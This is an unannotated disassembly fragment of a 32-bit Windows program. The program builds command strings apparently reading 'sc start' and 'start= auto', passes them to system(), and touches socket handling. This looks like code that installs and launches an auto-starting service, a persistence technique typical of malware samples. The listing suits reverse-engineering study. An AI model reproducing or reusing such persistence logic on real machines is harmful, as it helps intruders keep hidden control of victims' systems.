call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0xb], 0
lea eax, [ebp - 0xb0]
jmp 0x411587
mov byte [ebp - 0x64], 0
lea ecx, [ebp - 0xb0]
push dword [ebp - 0x64]
push 0xb
call fcn.004053b0
mov dword [ebp - 0x70], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x6c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x80], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x70], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x2f
lea edx, [ebp - 0x44]
cmp dword [ebp - 0x30], 0x10
mov edi, dword [ebp - 0x44]
mov eax, dword [ebp - 0x6c]
cmovae edx, edi
mov esi, dword [ebp - 0x70]
sub eax, esi
mov ecx, dword [ebp - 0x34]
push ecx
push edx
cmp ecx, eax
ja 0x411608
cmp dword [ebp - 0x6c], 0x10
lea eax, [ecx + esi]
mov dword [ebp - 0x70], eax
lea eax, [ebp - 0x80]
cmovae eax, dword [ebp - 0x80]
add esi, eax
push esi
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x34]
add esp, 0xc
mov byte [eax + esi], 0
lea eax, [ebp - 0x80]
jmp 0x41161b
mov byte [ebp - 0x64], 0
push dword [ebp - 0x64]
push ecx
lea ecx, [ebp - 0x80]
call fcn.004053b0
mov edi, dword [ebp - 0x44]
mov dword [ebp - 0x88], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x84], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x98], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x88], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x30
mov edx, dword [ebp - 0x84]
mov eax, edx
mov ecx, dword [ebp - 0x88]
sub eax, ecx
push 0xc
push str.__startauto
cmp eax, 0xc
jb 0x4116b1
cmp edx, 0x10
lea esi, [ebp - 0x98]
lea eax, [ecx + 0xc]
cmovae esi, dword [ebp - 0x98]
add esi, ecx
mov dword [ebp - 0x88], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0xc], 0
lea eax, [ebp - 0x98]
jmp 0x4116c5
mov byte [ebp - 0x64], 0
lea ecx, [ebp - 0x98]
push dword [ebp - 0x64]
push 0xc
call fcn.004053b0
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [ebp - 0xc8], xmm0
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xc8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xb8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xc8]
cmp dword [ebp - 0xb4], 0x10
cmovae eax, dword [ebp - 0xc8]
push eax
call esi
mov ecx, dword [ebp - 0xb4]
add esp, 4
cmp ecx, 0x10
jb 0x411765
mov edx, dword [ebp - 0xc8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41175b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41184f
push ecx
push edx
call fcn.0041c982
add esp, 8
mov byte [ebp - 4], 0x2f
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0xf
mov byte [ebp - 0xc8], 0
cmp ecx, 0x10
jb 0x4117be
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4117b4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41184f
push ecx
push edx
call fcn.0041c982
add esp, 8
mov byte [ebp - 4], 0x2e
mov ecx, dword [ebp - 0x6c]
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0xf
mov byte [ebp - 0x98], 0
cmp ecx, 0x10
jb 0x41180d
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411803
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41184f
push ecx
push edx
call fcn.0041c982
add esp, 8
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
cmp ecx, 0x10
jb 0x41185f
mov edx, dword [ebp - 0xb0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411855
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x411855
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041c982
add esp, 8
mov ecx, dword [ebp - 0x1c]
mov eax, closesocket
sub eax, ecx
cmp eax, 0xa
jb 0x411ad5
cmp dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x2c]
push ecx
cmovae eax, dword [ebp - 0x2c]
push eax
push 0xa
push str.sc_start__
push ecx
push dword [ebp - 0x60]
lea ecx, [ebp - 0xb0]
call fcn.0040a6a0
mov byte [ebp - 4], 0x31
mov edx, dword [ebp - 0x9c]
mov eax, edx
mov ecx, dword [ebp - 0xa0]
sub eax, ecx
cmp eax, 1
jb 0x4118d5
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp - 0xa0], eax
lea eax, [ebp - 0xb0]
cmovae eax, dword [ebp - 0xb0]
mov word [eax + ecx], 0x22
lea eax, [ebp - 0xb0]
jmp 0x4118f0
push 1
push 0x42066c
mov byte [ebp - 0x64], 0
lea ecx, [ebp - 0xb0]
push dword [ebp - 0x64]
push 1
call fcn.004053b0
mov dword [ebp - 0x70], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x6c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x80], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x70], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x80]
cmp dword [ebp - 0x6c], 0x10
cmovae eax, dword [ebp - 0x80]
push eax
call esi
mov ecx, dword [ebp - 0x6c]
add esp, 4
cmp ecx, 0x10
jb 0x411968
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41195e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4119aa
push ecx
push edx
call fcn.0041c982
add esp, 8
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
cmp ecx, 0x10
jb 0x4119ba
mov edx, dword [ebp - 0xb0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4119b0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4119b0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041c982
add esp, 8
mov esi, dword [ebp - 0xcc]
lea eax, [ebp - 0x44]
cmp esi, eax
je 0x4119dc
cmp dword [ebp - 0x30], 0x10
mov ecx, esi
push dword [ebp - 0x34]
cmovae eax, edi
push eax
call fcn.00412be0
mov edi, dword [ebp - 0x44]
lea eax, [ebp - 0x2c]
lea ecx, [esi + 0x20]
cmp ecx, eax
je 0x4119f7
cmp dword [ebp - 0x18], 0x10
push dword [ebp - 0x1c]
cmovae eax, dword [ebp - 0x2c]
push eax
call fcn.00412be0
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp + 8]
mov word [esi + 0x1c], ax
cmp ecx, 0x10
jb 0x411a2e
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411a24
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411a83
push ecx
push edx
call fcn.0041c982
add esp, 8
mov eax, dword [ebp - 0x30]
cmp eax, 0x10
jb 0x411a5d
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x411a53
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411a83
push ecx
push edi
call fcn.0041c982
add esp, 8
mov ecx, dword [ebp - 0x48]
cmp ecx, 0x10
jb 0x411a93
mov edx, dword [ebp - 0x5c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411a89
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x411a89
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041c982
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041c42c
mov esp, ebp
pop ebp
ret 4
call fcn.00401460
call fcn.00401460
call fcn.00401460
call fcn.00401460
call fcn.00401460
call fcn.00401460
call fcn.00401460
call fcn.00401460
int3